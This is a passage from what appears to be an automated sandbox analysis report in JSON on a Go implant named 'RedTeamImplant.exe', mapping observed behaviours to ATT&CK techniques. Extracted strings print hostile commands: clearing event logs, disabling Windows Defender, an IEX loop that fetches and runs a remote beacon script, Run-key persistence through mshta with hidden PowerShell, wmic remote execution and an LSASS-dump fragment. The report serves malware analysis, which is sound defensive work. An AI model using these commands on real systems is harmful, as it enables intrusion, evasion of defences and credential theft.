\"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"C:\\RedTeGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CommandLineToArgv\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"C:\\RedTeGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1059.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1059/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-161","type":2,"relevance":1,"name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"OpenThread\"; File: \"RedTeamImplant.exe\")","description_v2":["Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"RedTeamImplant.exe\")","Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"RedTeamImplant.exe\")","Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"RedTeamImplant.exe\")","Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"RedTeamImplant.exe\")","Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"OpenThread\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenThread\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-272","type":2,"relevance":1,"name":"Contains ability to retrieve/open a process (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"OpenProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"OpenProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenProcess\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-319","type":2,"relevance":1,"name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"file/memory contains long string with (Indicator: \"GetLastError\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetLastError\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetLastError\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetLastError\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetLastError\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetLastError\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-120","type":2,"relevance":1,"name":"Contains registry location strings","description":"$34","description_v2":["$35","\"rface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl \"$_\"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d \"mshta vbscript:CreateObject(\\\"\\\"WScript.Shell\\\"\\\").Run(\\\"\\\"powershell -w hidden -enc ...\\\"\\\",0)(window.close)\" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899\" in Source: RedTeamImplant.exe","$36","$37"],"description_v3":[{"type":"text","value":"$38"},{"type":"linebreak"},{"type":"text","value":"\"rface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl \"$_\"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d \"mshta vbscript:CreateObject(\\\"\\\"WScript.Shell\\\"\\\").Run(\\\"\\\"powershell -w hidden -enc ...\\\"\\\",0)(window.close)\" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899\" in Source: RedTeamImplant.exe"},{"type":"linebreak"},{"type":"text","value":"$39"},{"type":"linebreak"},{"type":"text","value":"$3a"}],"origin":"File/Memory","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"mutant-0","type":4,"relevance":3,"name":"Creates mutants","description":"Process RedTeamImplant.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7844:304:WilStaging_02\"\n Process RedTeamImplant.exe created mutex with name \"Local\\SM0:7844:304:WilStaging_02\"","description_v2":["Process RedTeamImplant.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7844:304:WilStaging_02\"","Process RedTeamImplant.exe created mutex with name \"Local\\SM0:7844:304:WilStaging_02\""],"description_v3":[{"type":"text","value":"Process RedTeamImplant.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7844:304:WilStaging_02\""},{"type":"linebreak"},{"type":"text","value":"Process RedTeamImplant.exe created mutex with name \"Local\\SM0:7844:304:WilStaging_02\""}],"origin":"Created Mutant","attck_id":"T1480","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1480","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-154","type":0,"relevance":0,"name":"File contains dynamic base/NX flags","description":"\"RedTeamImplant.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","description_v2":["\"RedTeamImplant.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA","IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE","IMAGE_DLLCHARACTERISTICS_NX_COMPAT","IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA"},{"type":"linebreak"},{"type":"text","value":"IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE"},{"type":"linebreak"},{"type":"text","value":"IMAGE_DLLCHARACTERISTICS_NX_COMPAT"},{"type":"linebreak"},{"type":"text","value":"IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE"}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"memorydump-10","type":20,"relevance":1,"name":"Found registry location strings in memory","description":"$3b","description_v2":["$3c","$3d"],"description_v3":[{"type":"text","value":"$3e"},{"type":"linebreak"},{"type":"text","value":"$3f"}],"origin":"Memory Dumps","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-7","type":6,"relevance":1,"name":"Loads modules at runtime","description":"$40","description_v2":["\"RedTeamImplant.exe\" loaded module \"KERNEL32\" at base 7ff832740000","\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-STRING-L1-1-0\" at base 7ff830980000","\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-DATETIME-L1-1-1\" at base 7ff830980000","\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0\" at base 7ff830980000","\"RedTeamImplant.exe\" loaded module \"%WINDIR%\\SYSTEM32\\IMM32.DLL\" at base 7ff832ae0000","\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0\" at base 7ff830980000","\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-FIBERS-L1-1-1\" at base 7ff830980000","\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-LOCALIZATION-L1-2-1\" at base 7ff830980000","\"RedTeamImplant.exe\" loaded module \"BCRYPTPRIMITIVES.DLL\" at base 7ff830f10000","\"RedTeamImplant.exe\" loaded module \"NTDLL.DLL\" at base 7ff833350000","\"RedTeamImplant.exe\" loaded module \"POWRPROF.DLL\" at base 7ff830640000","\"RedTeamImplant.exe\" loaded module \"KERNEL32.DLL\" at base 7ff832740000","\"RedTeamImplant.exe\" loaded module \"KERNELBASE\" at base 7ff830980000"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"KERNEL32\" at base 7ff832740000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-STRING-L1-1-0\" at base 7ff830980000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-DATETIME-L1-1-1\" at base 7ff830980000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0\" at base 7ff830980000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"%WINDIR%\\SYSTEM32\\IMM32.DLL\" at base 7ff832ae0000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0\" at base 7ff830980000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-FIBERS-L1-1-1\" at base 7ff830980000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"API-MS-WIN-CORE-LOCALIZATION-L1-2-1\" at base 7ff830980000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"BCRYPTPRIMITIVES.DLL\" at base 7ff830f10000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"NTDLL.DLL\" at base 7ff833350000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"POWRPROF.DLL\" at base 7ff830640000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"KERNEL32.DLL\" at base 7ff832740000"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"KERNELBASE\" at base 7ff830980000"}],"origin":"API Call","attck_id":"T1129","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1129","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"module-8","type":10,"relevance":0,"name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"mshta.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 23920000","description_v2":["\"mshta.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 23920000"],"description_v3":[{"type":"text","value":"\"mshta.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 23920000"}],"origin":"Loaded Module","attck_id":"T1562.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1562/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"module-9","type":10,"relevance":0,"name":"Loads the Bcrypt module DLL","description":"\"RedTeamImplant.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 30F10000\n \"mshta.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 30F10000\n \"mshta.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 30050000","description_v2":["\"RedTeamImplant.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 30F10000","\"mshta.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 30F10000","\"mshta.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 30050000"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 30F10000"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 30F10000"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 30050000"}],"origin":"Loaded Module","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"module-10","type":10,"relevance":0,"name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"RedTeamImplant.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 316B0000\n \"mshta.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 316B0000","description_v2":["\"RedTeamImplant.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 316B0000","\"mshta.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 316B0000"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 316B0000"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 316B0000"}],"origin":"Loaded Module","attck_id":"T1129","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1129","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-157","type":0,"relevance":0,"name":"Matched Compiler/Packer signature (DIE)","description":"\"RedTeamImplant.exe\" was detected as \"Go\" and name: \"Compiler\"","description_v2":["\"RedTeamImplant.exe\" was detected as \"Go\" and name: \"Compiler\""],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" was detected as \"Go\" and name: \"Compiler\""}],"origin":"Static Parser","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-187","type":2,"relevance":1,"name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"New-Object\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"New-Object\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"New-Object\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"New-Object\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1059.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1059/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-80","type":0,"relevance":1,"name":"PE file contains executable sections","description":"\"RedTeamImplant.exe\" has an executable section named \".text\"","description_v2":["\"RedTeamImplant.exe\" has an executable section named \".text\""],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" has an executable section named \".text\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-95","type":0,"relevance":0,"name":"PE file contains writable sections","description":"\"RedTeamImplant.exe\" has an writable section named \".data\"\n \"RedTeamImplant.exe\" has an writable section named \".idata\"","description_v2":["\"RedTeamImplant.exe\" has an writable section named \".data\"","\"RedTeamImplant.exe\" has an writable section named \".idata\""],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" has an writable section named \".data\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" has an writable section named \".idata\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-96","type":0,"relevance":0,"name":"PE file entrypoint instructions","description":"\"RedTeamImplant.exe\" file has an entrypoint instructions - \"jmp\t0x140073960,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\trbp,mov\trbp, rsp,pushfq\t,cld\t,sub\trsp, 0xe0,mov\tqword ptr [rsp], rdi,mov\tqword ptr [rsp + 8], rsi,mov\tqword ptr [rsp + 0x10], rbp,mov\tqword ptr [rsp + 0x18], rbx,mov\tqword ptr [rsp + 0x20], r12,mov\tqword ptr [rsp + 0x28], r13,mov\tqword ptr [rsp + 0x30], r14,mov\tqword ptr [rsp + 0x38], r15,movups\txmmword ptr [rsp + 0x40], xmm6,movups\txmmword ptr [rsp + 0x50], xmm7,movups\txmmword ptr [rsp + 0x60], xmm8,\"","description_v2":["\"RedTeamImplant.exe\" file has an entrypoint instructions - \"jmp\t0x140073960,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\trbp,mov\trbp, rsp,pushfq\t,cld\t,sub\trsp, 0xe0,mov\tqword ptr [rsp], rdi,mov\tqword ptr [rsp + 8], rsi,mov\tqword ptr [rsp + 0x10], rbp,mov\tqword ptr [rsp + 0x18], rbx,mov\tqword ptr [rsp + 0x20], r12,mov\tqword ptr [rsp + 0x28], r13,mov\tqword ptr [rsp + 0x30], r14,mov\tqword ptr [rsp + 0x38], r15,movups\txmmword ptr [rsp + 0x40], xmm6,movups\txmmword ptr [rsp + 0x50], xmm7,movups\txmmword ptr [rsp + 0x60], xmm8,\""],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" file has an entrypoint instructions - \"jmp\t0x140073960,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\trbp,mov\trbp, rsp,pushfq\t,cld\t,sub\trsp, 0xe0,mov\tqword ptr [rsp], rdi,mov\tqword ptr [rsp + 8], rsi,mov\tqword ptr [rsp + 0x10], rbp,mov\tqword ptr [rsp + 0x18], rbx,mov\tqword ptr [rsp + 0x20], r12,mov\tqword ptr [rsp + 0x28], r13,mov\tqword ptr [rsp + 0x30], r14,mov\tqword ptr [rsp + 0x38], r15,movups\txmmword ptr [rsp + 0x40], xmm6,movups\txmmword ptr [rsp + 0x50], xmm7,movups\txmmword ptr [rsp + 0x60], xmm8,\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-93","type":0,"relevance":1,"name":"PE file has a high image base","description":"\"RedTeamImplant.exe\" has high imagebase \"0x140000000\"","description_v2":["\"RedTeamImplant.exe\" has high imagebase \"0x140000000\""],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" has high imagebase \"0x140000000\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-74","type":2,"relevance":1,"name":"Possibly references Golang binary related string","description":"\"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\"\" (Indicator: \"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\")\" in Source: RedTeamImplant.exe, \"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\"\" (Indicator: \"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\")\" in Source: 00000000-00007844.00000000.183762.ECE01000.00000020.mdmp","description_v2":["\"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\"\" (Indicator: \"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\")\" in Source: RedTeamImplant.exe, \"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\"\" (Indicator: \"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\")\" in Source: 00000000-00007844.00000000.183762.ECE01000.00000020.mdmp"],"description_v3":[{"type":"text","value":"\"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\"\" (Indicator: \"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\")\" in Source: RedTeamImplant.exe, \"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\"\" (Indicator: \"Go build ID: \"RqPz8dke8iV42H7R5z9r/lgQMsUyJ1QyYOSZnAENi/JpKa8Oz_pmT_E87hDgqC/tpOvQlnO2sJdMbyk05Us\")\" in Source: 00000000-00007844.00000000.183762.ECE01000.00000020.mdmp"}],"origin":"File/Memory","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-170","type":2,"relevance":1,"name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\mshta.exe\" [Source: 00000000-00007844-00000BC0-1863078109]\n Observed system executable string:\"%WINDIR%\\system32\\mshta.exe\" [Source: 00000000-00007844-00000BC0-1863080419]","description_v2":["Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\mshta.exe\" [Source: 00000000-00007844-00000BC0-1863078109]","Observed system executable string:\"%WINDIR%\\system32\\mshta.exe\" [Source: 00000000-00007844-00000BC0-1863080419]"],"description_v3":[{"type":"text","value":"Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\mshta.exe\" [Source: 00000000-00007844-00000BC0-1863078109]"},{"type":"linebreak"},{"type":"text","value":"Observed system executable string:\"%WINDIR%\\system32\\mshta.exe\" [Source: 00000000-00007844-00000BC0-1863080419]"}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-67","type":9,"relevance":10,"name":"Process launched with changed environment","description":"Process \"mshta.exe\" (UID: 00000000-00007932) was launched with new environment variables: \"USERDNSDOMAIN=\"9P24ajLdU5td2QR\"\"\n Process \"mshta.exe\" (UID: 00000000-00007932) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"","description_v2":["Process \"mshta.exe\" (UID: 00000000-00007932) was launched with new environment variables: \"USERDNSDOMAIN=\"9P24ajLdU5td2QR\"\"","Process \"mshta.exe\" (UID: 00000000-00007932) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\""],"description_v3":[{"type":"text","value":"Process \"mshta.exe\""},{"type":"process","process_uid":"00000000-00007932","label":"Show Process"},{"type":"text","value":"was launched with new environment variables: \"USERDNSDOMAIN=\"9P24ajLdU5td2QR\"\""},{"type":"linebreak"},{"type":"text","value":"Process \"mshta.exe\""},{"type":"process","process_uid":"00000000-00007932","label":"Show Process"},{"type":"text","value":"was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\""}],"origin":"Monitored Target","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-625","type":2,"relevance":1,"name":"References Windows file paths for DLLs (possible dropped files)","description":"$41","description_v2":["Observed system executable string:\"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:\"%s\" process call create \"cmd /c whoami > \\\\\\\\%s\\\\ADMIN$\\\\x.txt\"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\\Windows\\System32\\comsvcs.dll","$42"],"description_v3":[{"type":"text","value":"Observed system executable string:\"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden 